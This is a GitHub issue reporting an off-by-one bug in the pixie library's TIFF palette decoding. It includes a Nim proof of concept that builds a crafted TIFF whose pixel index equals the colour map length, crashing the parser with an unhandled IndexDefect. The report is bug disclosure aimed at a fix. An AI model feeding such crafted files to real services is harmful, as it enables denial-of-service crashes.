Skip to content

Off-by-one crash in TIFF parsing #562

@hourianto

Description

@hourianto

https://github.com/treeform/pixie/blob/master/src/pixie/fileformats/tiff.nim#L232-L239

The code accepts colorMapIndex == colorMap.len, then indexes colorMap[colorMapIndex]. That is an off-by-one parser bug: malformed palette TIFFs can escape normal validation and crash with an unhandled IndexDefect instead of returning PixieError.

# Run: nim r --path:src pocs/tiff_colormap_off_by_one.nim
import pixie/fileformats/tiff

proc addLe16(data: var string, value: int) =
  data.add(char(value and 0xff))
  data.add(char((value shr 8) and 0xff))

proc addLe32(data: var string, value: int) =
  data.add(char(value and 0xff))
  data.add(char((value shr 8) and 0xff))
  data.add(char((value shr 16) and 0xff))
  data.add(char((value shr 24) and 0xff))

proc addIfdEntry(
  data: var string,
  tag, fieldType, numValues, valueOrOffset: int
) =
  data.addLe16(tag)
  data.addLe16(fieldType)
  data.addLe32(numValues)
  data.addLe32(valueOrOffset)

const
  ifdOffset = 8
  entryCount = 9
  colorMapOffset = ifdOffset + 2 + entryCount * 12 + 4
  pixelDataOffset = colorMapOffset + 6

var payload = ""
payload.add("II")
payload.addLe16(42)
payload.addLe32(ifdOffset)
payload.addLe16(entryCount)
payload.addIfdEntry(0x0100, 4, 1, 1) # ImageWidth
payload.addIfdEntry(0x0101, 4, 1, 1) # ImageLength
payload.addIfdEntry(0x0102, 3, 1, 8) # BitsPerSample
payload.addIfdEntry(0x0103, 3, 1, 1) # Compression = none
payload.addIfdEntry(0x0106, 3, 1, 3) # PhotometricInterpretation = palette
payload.addIfdEntry(0x0111, 4, 1, pixelDataOffset)
payload.addIfdEntry(0x0116, 4, 1, 1) # RowsPerStrip
payload.addIfdEntry(0x0117, 4, 1, 1) # StripByteCounts
payload.addIfdEntry(0x0140, 3, 3, colorMapOffset)
payload.addLe32(0) # No next IFD.

# One palette entry split into R/G/B planes.
payload.addLe16(0)
payload.addLe16(0)
payload.addLe16(0)

# Pixel value 1 is equal to colorMap.len, so the decoder indexes colorMap[1].
payload.add(char(0x01))

echo "parsing crafted TIFF with palette index == colorMap.len"
discard decodeTiff(payload)

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions